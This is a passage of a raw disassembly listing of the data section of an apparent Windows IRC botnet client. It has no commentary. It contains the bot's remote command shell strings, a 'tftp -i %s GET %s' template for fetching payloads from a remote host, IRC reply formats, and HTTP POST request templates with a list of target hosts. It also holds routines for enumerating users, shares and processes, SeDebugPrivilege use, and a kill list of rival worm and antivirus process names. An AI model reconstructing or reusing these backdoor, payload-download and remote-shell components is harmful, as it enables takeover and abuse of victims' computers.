					; DATA XREF: sub_412564:loc_412667o
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412564:loc_4125FDo
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412564:loc_412604o
		db 'tServiceCtrlDispatcher.',0
		align 4
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412564:loc_4125D2o
		db 'dependent on it.',0
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412564:loc_4125AAo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412564:loc_41260Bo
		db ' the service.',0
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412564:loc_41266Eo
		db 'the state of the service.',0
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412564:loc_412675o
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412564:loc_41267Co
		align 4
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412564+12Co
		align 4
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_4126E2+25o
		align 4
aStopped	db '    Stopped',0      ; DATA XREF: sub_4126E2:loc_4127AEo
aStarting	db '   Starting',0      ; DATA XREF: sub_4126E2:loc_4127A7o
aStoping	db '    Stoping',0      ; DATA XREF: sub_4126E2:loc_4127A0o
aRunning	db '    Running',0      ; DATA XREF: sub_4126E2:loc_412799o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_4126E2:loc_412792o
aPausing	db '    Pausing',0      ; DATA XREF: sub_4126E2:loc_41278Bo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_4126E2:loc_412784o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_4126E2+9Bo
aSSS_1		db '%s: %s (%s)',0      ; DATA XREF: sub_4126E2+EBo
dword_442944	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_41281F+89o
		dd 73252720h, 27h
unk_442960	db  2Dh	; -		; DATA XREF: sub_41281F+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
unk_44298C	db  2Dh	; -		; DATA XREF: sub_41281F+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_412A14+26o
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_412A14+B5o
aNo		db 'No',0               ; DATA XREF: sub_412A14+BCo
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_412A14+D0o
		align 4
unk_442A08	db  2Dh	; -		; DATA XREF: sub_412A14+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
unk_442A30	db  2Dh	; -		; DATA XREF: sub_412B35+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_442A50	db  2Dh	; -		; DATA XREF: sub_412B35+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_442A80	db  2Dh	; -		; DATA XREF: sub_412B35+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_412C7B+50o
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_412C7B+81o
		align 4
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_412C7B+ACo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_412C7B+D4o
aGuest		db 'Guest',0            ; DATA XREF: sub_412C7B:loc_412D94o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_412C7B:loc_412D8Do
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_412C7B:loc_412D86o
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_412C7B+104o
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_412C7B+125o
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_412C7B+14Do
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_412C7B+178o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_412C7B+1A0o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_412C7B+1CBo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_412C7B+1F3o
		align 10h
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_412C7B+21Eo
		align 4
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_412C7B+246o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_412C7B+271o
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_412C7B+299o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_412C7B+2C4o
		align 10h
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_412C7B+2ECo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_412C7B+317o
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_412C7B+33Fo
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_412C7B+36Ao
		align 10h
unk_442C30	db  2Dh	; -		; DATA XREF: sub_412C7B+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_413049+29o
unk_442C78	db  2Dh	; -		; DATA XREF: sub_413049+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_34		db '  %S',0             ; DATA XREF: sub_413049+BEo
		align 4
unk_442CAC	db  2Dh	; -		; DATA XREF: sub_413049+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_413049+14Fo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4131C9:loc_41322Co
		align 4
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4131C9:loc_41326Do
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4131C9:loc_413236o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4131C9+3Bo
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4131C9:loc_413222o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4131C9:loc_413218o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4131C9:loc_41320Eo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4131C9:loc_4132D8o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4131C9+89o
		align 10h
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4131C9:loc_41325Co
		align 4
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4131C9:loc_413266o
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4131C9:loc_4132D1o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4131C9+CFo
		db ' the domain.',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4131C9:loc_4132A6o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4131C9:loc_41329Fo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4131C9:loc_4132ADo
		db 'ord policy requirement.)',0
		align 4
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4131C9:loc_4132E6o
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4131C9:loc_413274o
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4131C9:loc_4132DFo
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4131C9:loc_4132CAo
		align 4
unk_442FA8	db  2Dh	; -		; DATA XREF: sub_4132FD+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 10h
dword_442FD0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_4132FD+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
		dd 7530h
off_443000	dd offset dword_443060	; DATA XREF: sub_413426+CBo
		dd offset dword_44306C
		dd offset dword_44307C
		dd offset dword_443088
		dd offset dword_443094
		dd offset dword_4430A0
		dd offset dword_4430AC
		dd offset dword_4430BC
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe	; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
dword_443060	dd 65676572h, 2E746964h, 657865h ; DATA	XREF: sub_413426+ECo
					; ___:off_443000o
dword_44306C	dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ;	DATA XREF: ___:00443004o
dword_44307C	dd 7374656Eh, 2E746174h, 657865h ; DATA	XREF: ___:00443008o
dword_443088	dd 6C62736Dh, 2E747361h, 657865h ; DATA	XREF: ___:0044300Co
dword_443094	dd 7270617Ah, 78652E6Fh, 65h ; DATA XREF: ___:00443010o
dword_4430A0	dd 7776616Eh, 652E3233h, 6578h ; DATA XREF: ___:00443014o
dword_4430AC	dd 6176616Eh, 32337770h, 6578652Eh, 0 ;	DATA XREF: ___:00443018o
dword_4430BC	dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h	; DATA XREF: ___:0044301Co
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00443020o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00443024o
		align 4
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: ___:00443028o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: ___:0044302Co
aMsblast_exe	db 'MSBLAST.exe',0      ; DATA XREF: ___:00443030o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: ___:00443034o
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: ___:00443038o
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: ___:0044303Co
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: ___:00443040o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: ___:00443044o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: ___:00443048o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: ___:0044304Co
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: ___:00443050o
		align 10h
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: ___:00443054o
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: ___:00443058o
		align 4
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: ___:0044305Co
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413426+5Ao
		align 10h
aSD		db ' %s (%d)',0         ; DATA XREF: sub_413426+17Do
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413426+18Bo
		align 4
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_413426+19Fo
		align 4
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413426+207o
		align 4
unk_4431F8	db  2Dh	; -		; DATA XREF: sub_413669+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
unk_443218	db  2Dh	; -		; DATA XREF: sub_413669+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_44323C	db  2Dh	; -		; DATA XREF: sub_413669:loc_4136F0o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 10h
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_413806+33o
aS_24		db '%s',0               ; DATA XREF: sub_413806+4Co
		align 4
unk_443274	db  2Dh	; -		; DATA XREF: sub_41388D:loc_413973o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_4432A4	db  2Dh	; -		; DATA XREF: sub_41388D+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_4432CC	db  2Dh	; -		; DATA XREF: sub_41388D:loc_4139BFo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0	db 'cmd.exe',0          ; DATA XREF: sub_4139E2+20o
unk_443304	db  2Dh	; -		; DATA XREF: sub_4139E2+150o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
unk_443328	db  2Dh	; -		; DATA XREF: sub_4139E2+198o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_413BB4+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
asc_443390	db 0Dh,0Ah,0		; DATA XREF: sub_413BB4+F2o
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_413D8F+15o
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_413D8F+1Co
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_413D8F+23o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_413D8F+2Ao
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_413D8F+31o
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_413D8F+38o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_413D8F+3Fo
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_413D8F+46o
		align 10h
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_413D8F+4Do
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_413D8F+54o
		align 10h
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_413D8F+5Bo
		align 10h
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_413D8F+62o
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_413D8F+69o
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_413D8F+70o
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_413D8F+77o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_413D8F+7Eo
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_413D8F+85o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_413D8F+8Co
		align 10h
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_413D8F+93o
		align 4
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_413D8F+9Ao
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_413D8F+A1o
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_413D8F+A8o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_413D8F+AFo
		align 10h
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_413D8F+B6o
		align 10h
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_413D8F+BDo
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_413D8F+C4o
		align 10h
dword_443540	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_413D8F+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
dword_4435A0	dd 20646425h, 20686425h, 6D6425h ; DATA	XREF: sub_413F6C+52o
dword_4435AC	dd 3539h		; DATA XREF: sub_414129+46o
dword_4435B0	dd 544Eh		; DATA XREF: sub_414129+5Ao
dword_4435B4	dd 3839h		; DATA XREF: sub_414129+6Co
dword_4435B8	dd 454Dh		; DATA XREF: sub_414129+7Eo
dword_4435BC	dd 4B32h		; DATA XREF: sub_414129+98o
dword_4435C0	dd 5058h		; DATA XREF: sub_414129+AAo
a2003		db '2003',0             ; DATA XREF: sub_414129+BAo
		align 4
a???		db '???',0              ; DATA XREF: sub_414129:loc_4141ECo
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_414129+EBo
word_4435D8	dw 3Fh			; DATA XREF: sub_414129:loc_41422Br
		align 4
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_414129:loc_41428Do
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_414129+192o
aHhMmSs_0	db 'HH:mm:ss',0         ; DATA XREF: sub_414129+1AEo
		align 4
dword_44360C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_414129+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_4436E8	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_4143DD+48o
dword_4436F8	dd 6C616944h, 70752Dh	; DATA XREF: sub_4143DD+5Bo
off_443700	dd offset dword_4E414C	; DATA XREF: sub_4143DD:loc_41444Ao
off_443704	dd offset loc_412F4C+2	; DATA XREF: sub_4143DD+77o
off_443708	dd offset loc_412F4C+2	; DATA XREF: sub_4143DD+88o
dword_44370C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_4143DD+AEo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
byte_443750	db 63h			; DATA XREF: ___:004147CBo
					; ___:004147DEr
		db 6Dh,	64h, 0
aExit		db 'exit',0             ; DATA XREF: ___:00414936o
					; ___:loc_414948r
		align 4
word_44375C	dw 4			; DATA XREF: sub_4144A9+10r
		align 10h
word_443760	dw 1			; DATA XREF: sub_4144A9+24r
		align 4
dword_443764	dd 20424652h, 2E333030h, 0A383030h, 0 ;	DATA XREF: ___:004145FBo
dword_443774	dd 201h			; DATA XREF: ___:0041460Do
word_443778	dw 1			; DATA XREF: ___:00414603r
		align 4
word_44377C	dw 1			; DATA XREF: ___:0041463Cr
		align 10h
dword_443780	dd 0EBFFh, 51FFh	; DATA XREF: ___:00414622o
dword_443788	dd 0DFFh		; DATA XREF: ___:0041462Do
word_44378C	dw 72h			; DATA XREF: ___:00414648r
		align 10h
dword_443790	dd 6325h		; DATA XREF: ___:004147E6o
aTftpISGetS_0	db 'tftp -i %s GET %s',0 ; DATA XREF: ___:00414856o
		align 4
aC		db '%c',0               ; DATA XREF: ___:00414882o
		align 4
aC_0		db '%c',0               ; DATA XREF: ___:004148F0o
		align 10h
aC_1		db '%c',0               ; DATA XREF: ___:00414950o
		align 4
asc_4437B4	db '*/*',0              ; DATA XREF: ___:004149EEo
dword_4437B8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: ___:00414B53o
		dd 4C525520h, 2Eh
unk_4437D4	db  2Dh	; -		; DATA XREF: ___:loc_414B65o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
unk_443800	db  2Dh	; -		; DATA XREF: ___:loc_414B6Co
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
dword_443830	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: ___:00414B3Fo
		dd 64657469h, 2Eh
unk_44384C	db  2Dh	; -		; DATA XREF: ___:loc_414B46o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_443890	dd 1			; DATA XREF: sub_414EA0+10r
					; sub_414EA0+F2r ...
dword_443894	dd 26h			; DATA XREF: sub_414EA0:loc_414EECr
					; sub_414EA0:loc_415055r ...
dword_443898	dd 0FFFFFFFFh		; DATA XREF: sub_414EA0+58r
					; sub_4152A0+9Er ...
byte_44389C	db 0FDh			; DATA XREF: sub_414EA0+2B7r
					; sub_414EA0+2D1r ...
byte_44389D	db 0DDh			; DATA XREF: sub_415890+257r
					; sub_415890+39Br ...
byte_44389E	db 0CDh			; DATA XREF: sub_414EA0+2F1r
					; sub_4152A0+377r
		align 10h
off_4438A0	dd offset aFree		; DATA XREF: sub_415890+177r
					; sub_415890+1DDr ...
					; "Free"
		dd offset dword_4334B4+20h
		dd offset dword_4334B4+1Ch
		dd offset dword_4334B4+14h
		dd offset dword_4334B4+0Ch
		align 10h
off_4438C0	dd offset dword_4DB7C0	; DATA XREF: sub_418D40+B3o
					; sub_418E90+3o ...
		align 8
		dd offset dword_4DB7C0
		dd 101h
dword_4438D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_418D40+11Cw
		dd 1000h, 0
dword_4438E0	dd 3 dup(0)		; DATA XREF: sub_40AF1B+17Co
					; sub_41E730+111o ...
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_443900	dd 3 dup(0)		; DATA XREF: sub_41E730+11Ao
					; sub_420720:loc_420785o
		dd 2, 0FFFFFFFFh, 83h dup(0)
dword_443B20	dd 8 dup(0)		; DATA XREF: sub_418E90+Co
					; sub_418F00+Co
dword_443B40	dd 173Fh		; DATA XREF: sub_418F70+Br
		dd 9875h, 9873h
off_443B4C	dd offset sub_4190B0	; DATA XREF: ___:00417903r
					; ___:0041790Cr
		dd offset sub_4190E0
		dd offset sub_4190E0
dword_443B58	dd 1B3Fh		; DATA XREF: sub_419190+Br
dword_443B5C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41977D+2o
					; sub_419786+2o
dword_443B70	dd 1			; DATA XREF: sub_40C33C+68r
					; sub_416AD0+4Er ...
byte_443B74	db 2Eh			; DATA XREF: sub_420920:loc_4217A7r
					; sub_420920+ED2r ...
		align 4
dword_443B78	dd 1			; DATA XREF: sub_42B250+169w
					; sub_42B250+296w
		align 10h
off_443B80	dd offset sub_417960	; DATA XREF: sub_41A9A0+22r
dword_443B84	dd 2			; DATA XREF: sub_426B30+15r
					; sub_426B80+86r ...
dword_443B88	dd 0FFFFFFFFh		; DATA XREF: sub_41AB10+80o
					; sub_41AB10+108o ...
dword_443B8C	dd 2			; DATA XREF: ___:0041AA2Er
					; ___:0041AA49r ...
		dd 2 dup(4)
dword_443B98	dd 0FFFFFFFFh		; DATA XREF: ___:0041AA90r
					; ___:0041AA9Cr ...
		dd 2 dup(0FFFFFFFFh)
off_443BA4	dd offset aWarning	; DATA XREF: sub_41AEA0+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset dword_433CD8+14h
dword_443BB0	dd 0			; DATA XREF: sub_41B6E0+1Fr
					; sub_41B6E0+44r ...
off_443BB4	dd offset dword_4DB138	; DATA XREF: sub_41B6A0+29r
					; sub_41B6E0+8Fr
		dd 7 dup(0)
off_443BD4	dd offset dword_4DB168	; DATA XREF: sub_41B6A0+1Cr
					; sub_41B6E0:loc_41B749r
		dd 3 dup(0)
off_443BE4	dd offset dword_4DB180	; DATA XREF: sub_41B6A0+Fr
					; sub_41B6E0+75r
		dd 3 dup(0)
off_443BF4	dd offset dword_4DB150	; DATA XREF: sub_41B6A0+3r
					; sub_41B6E0+82r
		dd 7 dup(0)
		dd 28F0B30h, 16h dup(0)
off_443C70	dd offset sub_41B950	; DATA XREF: sub_414EA0+79r
					; sub_4152A0+C1r ...
		dd 10h
dword_443C78	dd 3F8h			; DATA XREF: sub_41B8E0+7r
					; sub_41B960+3Cr ...
off_443C7C	dd offset word_443C86	; DATA XREF: sub_416AD0+7Cr
					; sub_4173D0+2Dr ...
off_443C80	dd offset word_443C86	; DATA XREF: sub_42B9E0+2A4w
					; sub_42B9E0+35Bw
		db 2 dup(0)
word_443C86	dw 20h			; DATA XREF: sub_42B9E0:loc_42BD31o
					; sub_42B9E0+35Bo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
off_443E88	dd offset aNull_0	; DATA XREF: sub_41E9B0:loc_41EDF2r
					; sub_41E9B0+57Cr
					; "(null)"
off_443E8C	dd offset aNull		; DATA XREF: sub_41E9B0+514r
					; "(null)"
dword_443E90	dd 3			; DATA XREF: ___:0041F89Fw
					; ___:0041F8A4r ...
		align 8
byte_443E98	db 1			; DATA XREF: sub_41FB40+12Fr
		db 2, 4, 8
		align 10h
dword_443EA0	dd 3A4h			; DATA XREF: sub_41FB40+7Er
word_443EA4	dw 8260h		; DATA XREF: sub_41FB40+192r
		dw 8279h
		dd 21h,	0
dword_443EB0	dd 0DFA6h		; DATA XREF: sub_41FB40+D5r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_443F90	dd 1			; DATA XREF: sub_420480+2Cr
dword_443F94	dd 16h			; DATA XREF: sub_420480+3Dr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
